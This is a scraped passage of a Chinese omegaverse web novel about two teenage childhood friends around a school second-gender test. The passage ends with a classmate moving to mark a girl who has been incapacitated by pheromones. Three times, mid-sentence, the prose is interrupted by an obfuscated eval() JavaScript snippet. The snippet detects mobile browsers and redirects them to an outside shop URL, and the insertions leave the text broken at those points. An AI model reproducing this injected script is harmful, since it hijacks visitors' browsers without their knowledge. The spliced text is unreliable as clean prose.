《黎明将至[ABO]》 1. 命运之日(一) 一 那一年黎晓十六岁,距离她十七岁生日还有四个月。 那一天是入学体检的前一天,和以往学期初的任何一天都没什么区别。 暑期未消的傍晚,知了在树荫间一声声长鸣,蝴蝶停落在玉簪花洁白的簪头上。 教室里学生们打着哈欠托着腮,听着拖堂的老师不厌其烦的讲述体检的注意事项。 学生们都很安静,每个人脸上都带着或多或少的紧张和茫然。 这一堂班会,居然没有一个人交头接耳。 面向未成年人的免费体检每年都有一次,但高中二年级的这一次体检和以往及未来任何一次都不一样——十六岁以上,十七岁未满,是检测第二性别的最合适年龄。 在此之前私下排查未成年人的第二性别,会违反《平权法案》、《未成年人保护法》、《义务教育法》等一长串法律。 在此之后检测又太晚了——并非所有alpha和omega初次发|情都在十八岁性别分化之后。研究表明,部分omega和alpha在年满十六岁后,就已经会对异性的信息素产生反应,甚至提前迎来初潮。为了避免毫无准备的当街发|情给社会造成不必要的混乱,也避免给自己带来身体和心理的双重伤害,十六岁以上的omega就需要随身携带抑制剂了。 故而十七岁这年的这次体检,会在常规项目之外,增加第二性别检测,并向学生提供有针对性的性别指导。 这一代的少年们,普遍都被保护得很好。 这是一个平等、自由、博爱、和平的时代。性别隔离被废除,所有性别的孩子平等的坐在同样的教室里接受同样的教育,就连可能会给部分孩子带来歧视的第二性别检测,都被推迟到十七岁的夏天,以尽可能保护他们的身心。 ——每个人都有自主选择的权利,所有人都有公平竞争的机会。 但再繁花锦簇的盛景,也改变不了土壤中的真实。 Alpha就是社会精英,beta就是社会基石、普罗大众,omega就是……一个侮辱性词汇。 ——就连幼儿园的小孩子都知道,人群中最强的那个孩子是他们的alpha。如果要欺凌、羞辱一个孩子,可以围成圈大声喊他“omega”。并且他们的判断,居然大多数时候都是对的。 何况是高中二年级的准成年人。 第二性别检测之后,他们就要被从基因上分出优劣了——所有人都意识到了这个真相。 黎晓也不例外。 老师用催人入睡的语调说着——不论最近检测出是什么性别,希望大家都能平心静气的对待——黎晓则在轻微的走神。 她抱着胳膊缩着胸,悄悄抬头望向窗边。 ——与她隔着两排座位,从后数倒数第二桌上,坐着她的青梅竹马,成铭。 傍晚教室里光线有些昏暗,没开灯,窗外的天光在少年的侧脸上勾勒出干净到近乎凌厉的线条。 他没有听老师说话,甚至根本都没在意明天即将发生的事,正专心致志看书——那本书黎晓在他的卧室里见到过,《导力理论基础》,大学一年级的教科书,据说国立大学院用的就是这一版。 ……不同的大学,不同的教授经常会使用不同版本的教科书。这个看似常识,实际上大多数高中生都不知道的事实,黎晓也是从成铭哪儿听来的。至于成铭是怎么知道国立大用的是哪一版,又是怎么弄到的,就完全在黎晓的想象之外了。 成铭似乎天生就比普通人走得更远,知道得更多,目标也更明确。 成铭肯定是个alpha吧,黎晓想。 年幼的时候,成铭漂亮得跟个小姑娘似的——男生女相,在性别意识初显但懵懂无知的幼童眼里,就是omega的象征。 最初的时候,当有人不满成铭被老师宠爱、被女孩子环绕,不论玩什么都比所有人玩得更好的时候,会大声的嘲讽他“omega”,会结伙欺凌他,推搡他。 但这一次他们欺负错了人。 ——成铭是黎晓从小到大所认识的所有同龄人中,最凶悍的那个。 上小学之前他就已经很有名。 对看不过眼的事,能动手他一般都不会废话。 同样的,遇到挑衅他也从不退避。哪怕四五个人一拥而上,他也敢挥着拳头迎上去。 有些时候他也被揍得很惨,但就算在最惨的时候,他也从来都没有打输过。他头破血流了,别人必然也头破血流。但别人疼得哭鼻子喊娘了,他也还是硬挺挺的站在哪里,倔强的眼睛里不流露一丝畏缩,赤裸裸的都是争强好胜、嘲讽轻蔑。 并且他总是在飞速进步,越打越强。 以至于小学毕业的时候,所有人对他的印象就只剩下——那个一个人把四五个人堵在墙角揍的alpha。 是的,升初中的时候,所有认识成铭的人就都已经认定,他必定是个alpha。 他符合人们对alpha的一切想象——聪明、强壮,勇猛、顽强,整个人都透着生机勃勃的野心和进取欲。 而他也确实不负所望,终小学、初中,一直都是学校里毫无争议的大人物。每次统考都是全区第一,每次运动会都拿最多奖牌,只要他参与的项目,他都是毫无争议的领袖,领着小组走向毫无争议的胜利。 而后毫无意外的,他考进了全区最好的高中。 但所有人都知道这不是他能力的极限——别人进晨星高中,是因为成绩够了能挤进来,他进,则是因为晨星是可选范围内最好的高中。加洛林区对他而言,还是太小了,这少年的征途应该是星之大海。 而这样一个人,是黎晓的青梅竹马。 他们同年出生,从小居住在同一个街区相邻的两栋房子里。每当黎晓在自己卧室里肆无忌惮的嚎起歌,成铭就会拿上他的小号翻出窗子跳到阳台上,跟她比拼音量般吹奏起来。 永远也不在调上的童音童号二重奏,在很长一段时间里都是整个社区的精神污染源头。 后来他们就开始读书。他们死命抗拒着妈妈们想把他们的手牵在一起的意图,去上同一所幼儿园;互相嫌弃着“离我远一点”“又不是我自己想要和你同路的”,去上同一所小学,尬聊着避免对视的肩并着肩去读同一所初中,一个人骑车载着另一个人来读同一所高中…… 关系从极度糟糕,到糟糕中互相认可,直到终于能像正常的青梅竹马一样平淡相处。就从来没有分开过一次。 可想而知,从懂事起,黎晓的成长压力就很大。 当然,黎晓也不是个被人当成omega的弱者——事实上她是那个会在旁的孩子欺凌“omega”的时候,挺身而出教训他们的孩子。在把欺负人的孩子赶走之后,她还会一本正经的教训那个被欺负的孩子,“你不要总是哭,你越哭他们越说你是omega。你要挺起胸,做出很了不起的样子,这样他们就不敢欺负你了。” 至于为什么她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可是,意识到成铭是alpha而她只是beta的时候,黎晓感到了强烈的羞耻,和可能会被远远甩在身后的茫然的恐惧。 那天夜里她做梦,梦到的都是平庸到几无存在感的自己被成铭彻底击败,然后遗忘的场景。 梦里她的自卑和不甘是那样的鲜明。以至于醒来之后很久,她的胸口还被痛苦纠缠着,焦虑不已。 这劣等感和恐惧困扰了她整整一个暑假,她已经很久没有去找成铭玩儿了。 而不知是不是有意在疏远她,这个暑假,成铭也一次都没有去过她家。 不想做第二性别测试。不想被区别对待。不想承认自己和成铭不同。不想知道自己只是个beta。 ——黎晓看着成铭,感到思绪如乱麻缠绕,理不清、解不开。 不知是不是察觉到了她的目光,成铭忽然也抬起头,向她这边望过来。 黎晓忙扭头掩饰。一手托着腮,一手转着笔,做出若无其事的模样。 成铭没看出异样,便继续回头读书了。 老师喋喋不休的叮嘱终于要结束了。 “我要说的就是这些。”她收拾着桌上的教案,最后补充,“明天上午第二节课开始停课体检,记得空腹上学。还有,根据往年的经验,明天很可能会有不友善的校外人员混进来,校内安检会比较严格。大家记得带好证件,注意安全——放学吧。” 2. 命运之日(二) 二 教室里的气氛依旧压抑。 大家安静的收拾着书包,跟相熟的同学低声闲聊着。 ——晨星高中二年A班,全区最历史悠久的名门高中的实验班。入学偏差值高达70①,能考进这所高中这个班的,初中时都是学霸。扛过千军万马最终脱颖而出的人,固然都不太担心自己会是omega,但从小在大人的赞扬声中长大的孩子,往往都对自己有着过高的心理预期——他们几乎每一个人都希望被证明,他们是天生的强者,是天赋精英使命的alpha。 这种期待带来的压力亘在他们心头,让他们放松不下来。 就只有几个平时成绩很差的学生在肆无忌惮的讨论着明天的体检。 黎晓磨蹭着,悄悄留意着成铭。 他们从小就在一起——就算在逆反的年纪里彼此互相抗拒和嫌弃着,也总是会莫名其妙的凑到一起。 想要接近,却不知该怎么接近才不会显得太刻意——这感受对黎晓而言太陌生了,她还处置不来。 “你觉得我们班谁会是alpha?”有人问。 “不知道,反正我肯定不是哈哈哈……不过,成铭肯定是。” ——越是心烦时,便越是觉得全世界都在讨论自己在意的人。 黎晓不由自主的又望向了成铭的方向,却发现成铭也在看她。 她脸上猛然间滚烫,却一时找不到借口,干脆生硬的移开了目光。 “……‘班长大人’应该也是吧。” ——黎晓慢了一步,才想起“班长大人”是自己的外号。 “嗯,他们俩最有可能。” “……不过也不一定。以前有好几个看上去肯定是alpha的人,最后测出只是beta。” “也对,现在都是导力时代了,alpha和beta之间其实已经没那么大的区别了。” “对啊对啊。” 但只消看一眼成铭,他们便知道这话有多么自欺欺人。 几个人很快陷入了尴尬的静默中。 片刻后有人转移话题,“但omega肯定还是不行啊哈哈哈……” “别这么说嘛……”说话的人看向角落里的桌子,提醒他注意,“我们上一届好像就有两个omega,说不定我们班也有omega。” 角落里坐着的男生恍若未闻的低头收拾好书包,背上。在他们意有所指的目光中,独自安静的离开了教室。 ——这个叫凌河的男生一向柔弱沉默。体育课测试引体向上,别的男生轻松做完十个,他头上青筋暴起,胳膊绷的像根随时会断的老树枝,在单杠上扭曲的挣扎半天,直到力竭摔下来,也没完成一个。 “不会吧,那也太恶心了。不是我歧视他们啊——不吃药就会当街发|情,这肯定是没进化完全吧。万一他们忘了吃药,上课时发|情怎么办?真是想想就觉着恶寒。” 他这么说的时候,凌河才刚刚迈出教室,甚至都还没有走远。 黎晓有些听不下去了,“说够了吧……万一明天测出你自己就是omega,你怎么办?” 就算是看似吊儿郎当、毫不在乎的男生,这一天也会变得敏感易怒。男生立刻暴起,“你骂谁呢!” “我又没骂人……” “你才是omega呢,你全家都是omega!你凭什么开口就咒人,”男生涨红了脸,根本不由她分辨,“不过就是比别人学习好一点而已,还不一定就是alpha呢,你得意什么!” 换在往常黎晓根本就不会在意这些垃圾话,但是这一天她却立刻就被戳痛了——她已经知道自己几乎不可能是alpha了。 但她还是死犟的梗着脖子怼回去,“……就算我不是alpha,也能跟你讲道理吧。” 气氛一触即发。 这时成铭的声音传了过来,“你是alpha?” 他站到黎晓身旁,面无表情,语气冷漠,问那个男生。 和黎晓不同,成铭一向都是用拳头说话的人。他是能压制同龄alpha的那种“alpha”。 男生的气焰立刻就低下去,“……我可没这么说。” “不是alpha,又不想当omega,那就只能是beta了。” 男生憋红了脸——他很有自知之明,知道以他的资质,如无意外也只能是beta。但在这种情况下承认,却令人感到难堪。 好一会儿他才说,“是又怎么样?beta又不丢人。” 成铭嘲讽,“是beta你替omega操什么心?就算omega当众发作,受信息素影响的也是alpha。教室里有没有omega,跟你有什么关系?” 几乎所有人都忍不住笑出了声。 ——这确实是个很好的时代。就算人心里免不了会对omega心存歧视,但他们从小受到的教养,令他们在大多数时候都礼貌,有节制。在公共场合用“发|情”和“恶心”描述他们同学的人,谁都不喜欢。 有人起哄,“就是啊,omega那么珍稀,还不够alpha分的。你一个beta,既不会对人家的信息素有反应,也无法标记人家,Omega跟你有什么关系?” 男生再也受不了羞耻,愤然冲出了教室。 剩下的几个人也讪讪的,但都不愿得罪成铭,很快便也散开了。 成铭看着黎晓。 黎晓心烦意乱的收拾着书包,不知该怎么和他打招呼。 成铭问,“你骑车了吗?” 黎晓点头。 成铭就说,“那你载我回去吧。” 黎晓愣了愣——她记得成铭今天是自己骑车来的。 但她随即就明白了成铭的用意。 明明眼圈还有些红,她还是不由自主的就扬起了灿烂的笑容,抬头对成铭说,“嗯!我马上就收拾好了,你等我一会儿啊!” 他们还像往常一样回家。遇到长长的下坡路,就展开双手双脚哇哇大叫的迎着风冲下去。遇到上坡路黎晓就嫌弃成铭“沉死了,下来推车啊混蛋!”成铭就回击她,“弱者。” 夕阳卡在西山山坳间久久不沉,晚霞烂漫的飞近中天。东方的山谷冷且沉寂,西方的群山暖且轻柔。不多时两边的色彩交融了,路灯便自远及近渐次亮起。 拐过最后一个街角,便可望见家里的灯光了。 黎晓推着自行车,成铭走在他的身边。 那声“弱者”之后,黎晓就始终打不起精神来。成铭显然察觉到了。 “你的志愿表怎么填的?”他问。 黎晓懵了一会儿才想起来——这个学期初并非只有第二性别检测一件重要的事,开学的时候他们还交了一份志愿表。 并不是正式的申报表,只是为了方便老师了解学生的升学志愿而填写的调查表格,黎晓并没有很上心。 “当然是国立大学啊。”她说。 “嗯。” “……你呢?” “隔壁,第二军事学院。” “噢。”黎晓感到心脏被揪疼了,“……可是,你不是正在看国立大学的教科书吗?” “嗯,就是想看看。” “这样啊……”黎晓说不出话了。 在历经了从幼儿园到高中漫长的旅途之后,他们的人生道路终于要错开了。年少时期待过无数次的事终于将成为现实——可是为什么偏偏到现在才实现?如果早一些,如果早一些的话…… 如果早一些,会怎么样? 毫无征兆的,眼泪大颗大颗的从黎晓眼睛里滚落下来。 成铭有些无措。这少年嘴巴毒,越是关心,说话就越是难听,“都这么大了,怎么还是动不动就哭啊。别哭了……啊啊啊,除了哭你就不会别的了吗?国大和二军大就隔了一条街,又不是见不到了。” ……小时候欺负我的那个混蛋果然就是他啊,黎晓心想。 但是她哭不是因为见不见面的问题,她哭是因为她终于意识到,自己为什么会这么难过了。 原来是这样啊,她想,原来我喜欢他啊。 因为喜欢所以害怕被比下去,害怕被他轻视、抛下,被他如过眼云烟般遗忘。 想要和他生活在同一个世界,想要和他比肩同行,看同样的风景,认识同样的人,经历同样的事……但他太耀眼了。她一直一直都在害怕自己一步跟不上,就会远远的被他甩下。 可所有这些心情,他都不明白。他没有强烈的,一定要和她在一起的想法。就像明明早就说过要去国立大,可他的志愿变了,他却从来也没告诉过她。 他们之间,就只有一个人陷入了恋情,而那个人偏偏是她,偏是非alpha的那个——这就是她痛苦的根源。 她越是明白自己的心情,便越是不想在成铭面前哭。可她越明白,便也越难过,眼泪便越是不停的涌出来。 成铭焦急的说,“到底怎么了,你先告诉我啊?” “怎么可能说得出口啊!”她擦着眼泪,说。 成铭想也不想,便拉起她的手带着她向后山公园里去。脚踏车倒在了路旁的草地上。 太阳已经完全沉下去了,夜色自泛白的天际沉下,如墨沉于水。 那盘山的步行道两旁种满了桂花树,正趁着夜色悄然绽放,浓郁清甜的芳香将空气酿得浓稠如醴酒,人从中穿过,沾满头满袖的冷香。 他带着她来到能够俯瞰整个街区的山坡上,那里没有路灯也没有行人,只有一颗老树,肆意而又沉静的舒展着枝叶。 “这里没有人,你可以说了吧?”他焦急的看着她,问道。 黎晓看着他的眼睛——他的目光一如既往的率直到近乎粗暴。如果她还不肯给他一个答案,他就真的要恼火了。 不甘再一次涌上来,黎晓抽噎着,说,“……我可能只是个beta。” 成铭听到了,但感觉跟没听到没什么区别——好像过了一会儿他才明白,黎晓说的不是一句众所周知的废话,而真的是她那意外袭来的苦恼根源。 “哦,那又怎么样——你今天才是吗?”他显然觉得这个答案蠢爆了。 “什,什么啊!” “你不一直都是吗。” 黎晓愣了愣……是的,如果她现在是个beta,那她毫无疑问从出生起就是了。这根本就算不上是个变故。但是—— “你为什么完全都不感到惊讶?!” “因为我早就知道了。” 黎晓惊讶得连难过都忘了,“…从什么时候知道的?” “……”看他的表情,像是久到从记事起就觉得这是理所当然的真相,根本无需任何契机。但想了一会儿,他还是给出了确切的时间,“……学散打的时候,你训练很刻苦,可力气一直很小。” “就算是alpha也不一定人人都力气很大吧,而且后来我的力气也变大了啊!” “那是——”成铭语塞了一会儿,揉了揉额头,放弃了艰深的解释,“——alpha唯一确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726833|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定必然优越的就是体质,不仅限于但一定包括‘天生’力气大,谢谢!” 这语气太成铭了,黎晓没忍住笑出了声,“……这样啊。” 是啊,散打真是她学过的最难的东西了,最开始的时候总是比别人力气小,总是比别人慢半拍,有时候明明眼睛跟上了,手脚却总跟不上……可是她依旧学成了。尽管她付出的努力可能是别人的几倍,但最终,她还是比所有人都强,做到了和成铭势均力敌。 风自上而下吹过,枝叶摇曳如海潮。 黎晓终于平静下来了。 就算她是beta,也依旧什么都没变。她依旧是那个无论做什么事,都不输给alpha的全领域学霸。 她和成铭之间的关系,也什么都没变——唯一改变的,大概就只有她从无知无觉,变成了知道自己在暗恋而已。 黎晓舒了口气,为自己之前控制不住情绪感到轻微的尴尬和好笑。 “明天就要测性别了,你一点都不紧张吗?”平静下来之后,她问成铭。 “为什么要紧张?” “……也对。”黎晓暗笑自己问了句废话——紧张也没用的事,他当然不会去紧张,“但……你就没有好奇过?” “好奇过,但无所谓。小时候被人当成omega,我不也一样是最强的吗?只要足够强,性别什么的全都是废话。”成铭看着远处的夜景,又看向黎晓,认真的开导她,“你才是自寻烦恼。从概率上算,我们学校差不多有20个alpha,这些人哪个不是你的手下败将?” 黎晓老老实实的,“你……” “闭嘴!你只是侥幸赢了一次!”成铭显然想起了上一次期末考试,表情很有些别扭,缓了缓才接着说,“击败alpha这种事,从小到大你做的还少吗?因为你是beta而需要怀疑人生的,应该是那些alpha才对吧。” “哦……”黎晓还是头一次被他这么用力的吹捧,稍有些控制不住嘴角的弧度,“你还真是思路清奇啊。” 他有些负气,“……谢谢!” 黎晓悄悄的看向他。 风吹着少年柔软清爽的短发,星光映在他清黑明澈的眼眸里,月色勾勒出他完美的侧脸。这个毒舌又粗暴,就算退一万步讲也绝对称不上温柔和善的少年,从进高中起,就已经因为过于凶残的打架史和懒于打理的仪表,而摘掉了美少年的标签。但其实在这样的夜色下,当他说着风格生硬的别扭的安慰话时,也依旧是生涩俊美的。 黎晓的心口忽然又酸涩的跳动起来。 “其实,性别还是有所谓的……”她低着头,“如果你是alpha,以后也许会遇到一个omega……” 不知为什么,成铭居然被这句话惹火了。 “我为什么要遇到omega?” “因为……” “够了!”似乎料到她会说什么一般,成铭稍有些烦躁,“我完全不想遇到omega,如果真遇到了你想象的那种,那也……太恶心了。”意识到自己说得过分了,他平复了一下心态,才继续说,“我知道他们很无辜,就算是上帝造人的错好了。但omega这种性别本身就充满恶意——当然,会因为信息素就对陌生人丑态百出的alpha也一样可耻。总之,你想象的情况完全不可能发生。” “……哦。” 他的反应太激烈了,令人不由就去揣测其中的缘故。 沁了桂花香的风稍有些甜。 他们静默着,各自看向不同的方向,为相同而又不同的原因尴尬、烦恼,又心跳不已。 好一会儿后,黎晓才鼓起了勇气,结结巴巴的说,“其,其实也不能这么说啊。现在有抑制剂了,omega和普通人是一样的。也不一定非得是很……那什么的情况啊。” 她其实想问,你这么确定自己跟omega的相遇不会是自愿的,是不是因为已经有喜欢的人了?比如说一个beta,比如说…… 可是她不敢确定,也就不敢戳破。 而成铭飞快的、甚至有些焦躁的回答,“那也不会有!你为什么一定要塞一个omega给我?我只希望他们对自己负责任些,管好自己的生理周期,否则就离我远一些。我完全不想要一个omega,我现在已经很圆满了。完全不希望多出一个omega来打扰我现在、未来以及整个人生。” 他激烈的抗议着,忽然就扭过头来看向了黎晓。然后黎晓才意识到自己正看着他,意识到这也在他意料之外。 但无论如何,他们四目相对了,彼此的目光都猝不及防的直达对方的眼底。 他们心中的忐忑,彼此所期待、焦虑的事,就在这个瞬间相遇……而后一目了然。 ——原来他也是一样的。 ——他确实是和她一样的吧 黎晓隐隐意识到了什么,渐渐就控制不住雀跃的心情,控制不住脸上展开的笑容,“哦,这样啊……嘿嘿嘿。” 空气骤然就舒缓下来,树海摇曳得像是大地在唱歌。 成铭的肩头也渐渐松懈下来。一面嫌弃,一面也不由自主的跟着笑起来,“……你笑得也太蠢了吧。” “说得好像你笑的不蠢似的。” 成铭赶紧去摸自己的脸,发现自己也在傻笑,立刻试图摆回那张万年被欠钱的面孔。却发现根本抗拒不了本能,干脆就别开头去,“那也没你蠢!” 在烦恼了整整一个夏天之后,这个初秋月明的夜晚,黎晓终于久违的、平稳无梦的睡了一个好觉。 3. 命运之日(三) 三 这一天黎晓醒得很早。 她心情轻快,只觉得不论做什么事都顺利得不可思议。就连平时总是会煎糊掉的荷包蛋,这一天都煎得很完美。 她哼着歌,收拾好书包,准备去成铭家门前喊一嗓子——这个懒鬼一向认为踩着铃声踏进教室就不算迟到,她不去喊他他肯定会赖床到最后一秒钟。 出门前却被她的妈妈叫住了。 “你……早饭带了?” “嗯,搁书包里了——体检结束我立刻就吃,您别操心了。” 她妈妈欲言又止,上前帮她整理了一下衣领,“……测性别也不是什么大事。不管结果是什么,你都是值得我和你爸骄傲的好孩子。” “嗯,我知道。”黎晓笑着点头,“没别的事我出门了啊。” 她妈妈便轻轻一拍她的脊背,“……去吧。” 成铭果然还没起床。 顶着草窝头,在成妈妈微笑的注视和黎晓活蹦乱跳的围观下,打着哈欠洗脸刷牙,成铭攒了一肚子火气。眼神凶恶得让清晨起来溜狼狗的人,都忍不住要拽着狗离他远一些。 但等黎晓坐在脚踏车的后座上,试探着想扶住他的腰时,他心里的怨气就被丢到了角落里。 他蹬着脚踏车,尽量做出若无其事、理所当然的模样。 但等黎晓终于突破的脸皮的阻碍,勇猛的伸开手臂圈住他的腰时,他还是忍不住想要哼起歌。脚下轻快得不可思议,他只觉得这天的逆风和上坡弱得不值一提。 这温馨的假象也只持续了一会儿。 “感觉……你的腰好像比看起来的要粗啊。” “……”他收回前言。 “哇,这是什么,肌肉吗?难道是……腹肌?!” “哼。八块儿。” “什么时候练出来的啊?!……我要摸摸看!” “……住手啊混蛋你往哪里摸!” 就算是被成铭载到沟里去,这一天黎晓也还是开心的收不住笑意。 他们到得早,学校里还没什么人,只有凌河早早的从住宿楼里出来,和他们正面遇上。 黎晓笑着向他打招呼,凌河顿了顿,果然没有回应她。 来到教室,教室里就只有一个值日生。好巧不巧,正是昨天和他们吵架男生,廉易齐。嘉洛林区的秋天清朗干燥,他正在往地面上洒水,以保持空气湿润。 教室里窗明几净,令人心情愉悦。 这一天阳光也很好,天蓝的匀净沉艳,几无一丝杂质。透过窗子向外望去,就连远处西山的草木,仿佛都能看清楚梢头。 学校门前的街道上合欢花尚未开败,主校路两旁的金桂花已缀满枝头。空气里浮动着令人醺醺然的甜美芳香。 昨天傍晚那场争执里所有的主角都凑齐了,这本该是个极其尴尬的场合,可不知为何,黎晓的心情没受到分毫影响,她只感到飘飘然得几乎有些不真实的幸福。 但在场的其余人等显然没有同样粗线条的神经。 凌河低着头回到自己座位上,路过廉易齐身旁时,被洒了一袖子水。 廉易齐的目光挑衅里带着些意味不明的狂热。 凌河的脚步顿了顿,他看了看自己的衣袖,露出了嘲讽的眼神。而后安静的回到座位上。 成铭无动于衷。 他的座位就在凌河的前排,同样要走过廉易齐身旁。和平时每一个清晨一样,他满身破绽的打着哈欠,目中无人。 直到他走过去,廉易齐才露出愤恨的眼神,他偷偷拿起木勺,似乎也想往成铭身上泼水。但成铭只扭头扫了一眼,就将他逼退了。他便恨恼的,把剩下的水全泼到凌河身后的空地板上。 也许是地面骤然潮湿起来的缘故,黎晓只觉得空气更清甜了。清甜得令人稍稍有些分神。 学生们陆陆续续来到教室里,晨读开始了。 也许是上学路上闹腾得太兴奋了,黎晓感到有些发热和疲倦。 随着太阳升高,阳光也渐渐变得温暖。地面上的水渍慢慢干透了,空气中的甜美的花香变得越来越浓。浓得甚至有些粘稠和沉重,已很难再令人感到愉悦了。 黎晓胸口发闷,头脑也有些昏沉。她看了一眼四周——两边的窗子都开着,风吹动挽在一旁的窗帘。 黎晓有些迟钝的伸出手去,似乎确实是有风从她指间吹过了,为什么还会这么闷。 坐在她侧前方的男生频繁的回过头来看她。 “你怎么了,是不是不舒服?”他忽然问。 “哎?”黎晓稍有些反应不过来。 “……你脸色不太好。” 黎晓抬手试了试脸颊,手很凉,那温度太舒服了,令人留恋。 过了一会儿她才答道,“教室里香味儿太浓了,我有些喘不过气。” “嗯……是啊,”他心不在焉的回答,“……是太香了。” “你们在说什么?哪有香味儿?我怎么没闻到。”坐他身后、黎晓旁边的女生打岔道,又问周围,“你们有闻到哪里香吗?” “稍有点桂花香……”“还好吧,去年不也这样吗?”“我也没闻到……” 铃声终于响了起来,早读结束了。 黎晓只想赶紧出去透透气,再用冷水冲一把脸。 但她站起身的时候,心口忽然猛的一跳。像是某个开关被打开了,燥热的血液随着那一声心跳,一瞬间被推遍了全身。 “要不要我扶你去医务室?”这时又有人问。 黎晓茫然的抬起头——是先前同她搭话的男生。 明明没有任何异样,可她下意识的挥开了他的手。 有什么东西出错了,她想。 她的周围到处都是人,包括这个问话的男生——其实教室就只有这么大,又摆满了桌椅,学生不坐在椅子上,就肯定会妨碍某一条去路。但莫名其妙的,黎晓就是能分辨得出,谁只是偶然站在那里、谁是故意的。 ——因为世界被隔离开了,她的视野中,就只有几个人是鲜明的。其余的人她明明也看到了,可她无法分辨出他们的存在——他们的身影与他们嘈杂的交谈声就像是一片毫无意义的白噪音。 而那些面容鲜明的人无一例外的,都带着各异的神色,正用各不相同的目光关注着她。 他们的关注,令她感到不祥的戒备和……畏惧。仿佛他们的眼睛里有摄人的妖魔鬼怪。 是的,畏惧。她感到发自本能的、令人颤栗的畏惧。 而真正令黎晓感到恐慌的并不是畏惧本身,而是她明明想抗拒那畏惧,可抗拒的意愿传达不到身体和意识里。 本能和自我似乎被一层薄雾隔开了——从小到大,根植在她的努力、倔强、不服输……之上的自信和自律的自我,正在被她的身体放逐。 她的身体,正慢慢变得燥热和卑下,而她的本能正试图让她像一只中了麻醉剂的猪一样什么也不去想。 无端的,她的脑海浮现出关于omega发作时的种种传闻。 所幸此刻逃避的本能占据着她的内心,她根本没有余裕进行更深入的思考。 她只是竭力压制住本能,拼命告诉自己只要离开这里,离这沼泽般的香味儿远一点,一切就会恢复正常。她想——不管她是什么,都绝对绝对绝对,不要在成铭面前露出丑态来啊! 而后她的身体终于出现了一丝松动。 尽管恐慌和无助正无孔不入的肢解着她,可她终于在人和桌椅之间看到了一条路。她于是奋力的排开白噪音一样的人,冲了出去。 ——空气中的香味像是无处不在的绳索般紧缚着她的身体,强制的打开她内心的抗拒,令她逃得跌跌撞撞,但她确实冲出去了。 这时她听到了成铭的声音,“你怎么了?” 黎晓费了些力气,才从一片白噪音一样的背景中,分辨出成铭的身影。 而后,那香味的隐形绳索稍稍崩断了。 可她甚至来不及松懈,便看到一只小小的、鲜明清晰的水晶瓶。 一个站在成铭身后的,像白噪音一样的人打开瓶口,倒出了里面的液体。 风从窗外来,浓烈的香味一瞬间在空气中爆裂开来。 她的心跳就像一场巨大的爆破,瞬间便将她的意识彻底的轰碎了。 四 这个晨读气氛非常怪异,成铭能察觉到,有不少人都心神不宁。 但他自己没觉出有什么不对,事不关己,也就随意抛开。 晨读结束后他一如既往的托着腮望着窗外,一面打着哈欠一面想,今年的桂花真是香得有些烦人。 眼角余光留意到,有几个平时很招眼烦的男生似乎都有事找黎晓,成铭心里稍稍有些介怀。 但他依旧没有当一回事。 直到黎晓突然就推开一张桌子,跌跌撞撞的向他走过来。他才意识到有哪里不对。 她脸色很糟糕——并不是气色上的,事实上她的气色很好,好得令成铭稍稍感到心猿意马。但那双雾气蒙蒙的眼睛里毫无疑问充满了恐慌和无措,有那么一瞬间,成铭甚至怀疑她冲过来是为了向自己求救的。 这个清晨空气中确实弥漫着令人感到微妙的不爽和想打架的气氛,但依旧平静无波——成铭并没有感受到任何切实的威胁。 他不明白她的恐慌从何而来。 他一面起身走过去,一面问,“怎么了?” 黎晓张了张嘴,而后就像一只傀儡线被突然截断的木偶般,目光骤然放空,靠着桌子软软的坐倒在地上。 这时离黎晓最近的男生跪蹲下来——那人就坐在黎晓的侧前方,和黎晓一样是班委,关系一向都还不错。成铭以为他要扶她起来,但他只拨开了黎晓耳边的碎发,将她修长白皙的脖颈露出来。这时成铭想到的依旧是,他应该是想调整黎晓的姿势,避免扶她起来的时候撞到头吧…… ——在他们十七岁的这个体检日之前,同学和同学之间的关系,确实就只有这么简单而已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726834|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但随即,他便看到那个男生按住了黎晓的肩膀,张开嘴,头低下去。 成铭脑中嗡的一声响。在他确切意识到这个动作的含义之前,他已经抄起身旁桌子上的字典,用力的把男生击飞出去,而后翻过桌子冲到黎晓的身旁——她并没昏厥过去,甚至不像是彻底失去意识。她雾气蒙蒙的眼睛追着被击飞的男生,像是不解那人为什么忽然停下了。 她明明应该看到他了,却像是压根没有意识到他的存在。但他手上的温度显然令她感到舒适,她无意识的用脸颊轻轻蹭着他的手背。 成铭晃着她的肩想叫醒她,她的头扣在他肩膀上,不知是不是有意,那近得几乎能感受到嘴唇的灼热的呼吸令他心情混乱。 成铭能察觉到四面都有危险的气息逼近,他放弃叫醒她的努力,一把将她抱起来,想先带她离开教室。 但是随即他就听到了风声,他敏捷的避开——是一本从侧面砸过来的字典。 之前被他击飞出去的男生已经从地上爬起来,砸出字典后,像是压抑至今的所有脾气都暴发出来一般,他身上散发出凌人的魄力,“早就看你不爽了,你拽什么拽!以为人人都怕你吗?——把她放下!这次是我先看到的!” 